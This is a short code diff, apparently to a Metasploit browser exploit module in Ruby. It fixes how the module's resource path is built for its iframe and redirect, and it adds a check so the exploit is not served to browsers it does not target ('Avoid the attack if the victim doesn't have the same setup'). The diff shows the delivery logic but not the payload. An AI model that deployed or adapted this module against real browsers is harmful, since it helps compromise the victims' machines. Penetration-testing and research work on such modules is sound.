@@ -285,7 +285,7 @@ def load_html1(cli, my_target)
285
285
arrr[0]["src"] = "#{ Rex ::Text . rand_text_alpha ( 1 ) } ";
286
286
</script>
287
287
288
- <iframe src="#{ get_resource } /#{ @html2_name } "></iframe>
288
+ <iframe src="#{ this_resource } /#{ @html2_name } "></iframe>
289
289
<script>
290
290
#{ js }
291
291
</script>
@@ -321,11 +321,23 @@ def load_html2
321
321
return html
322
322
end
323
323
324
+ def this_resource
325
+ r = get_resource
326
+ return ( r == '/' ) ? '' : r
327
+ end
328
+
324
329
def on_request_uri ( cli , request )
325
330
print_status request . headers [ 'User-Agent' ]
326
331
agent = request . headers [ 'User-Agent' ]
327
332
my_target = get_target ( agent )
328
333
334
+ # Avoid the attack if the victim doesn't have the same setup we're targeting
335
+ if my_target . nil?
336
+ print_error ( "Browser not supported: #{ agent . to_s } " )
337
+ send_not_found ( cli )
338
+ return
339
+ end
340
+
329
341
vprint_status ( "Requesting: #{ request . uri } " )
330
342
331
343
if request . uri =~ /#{ @html2_name } /
@@ -334,9 +346,9 @@ def on_request_uri(cli, request)
334
346
elsif request . uri =~ /#{ @html1_name } /
335
347
print_status ( "Loading #{ @html1_name } " )
336
348
html = load_html1 ( cli , my_target )
337
- elsif request . uri =~ /#{ get_resource } $/
349
+ elsif request . uri =~ /\/ $/ or request . uri =~ / #{ this_resource } $/
338
350
print_status ( "Redirecting to #{ @html1_name } " )
339
- send_redirect ( cli , "#{ get_resource } /#{ @html1_name } " )
351
+ send_redirect ( cli , "#{ this_resource } /#{ @html1_name } " )
340
352
return
341
353
else
342
354
send_not_found ( cli )
0 commit comments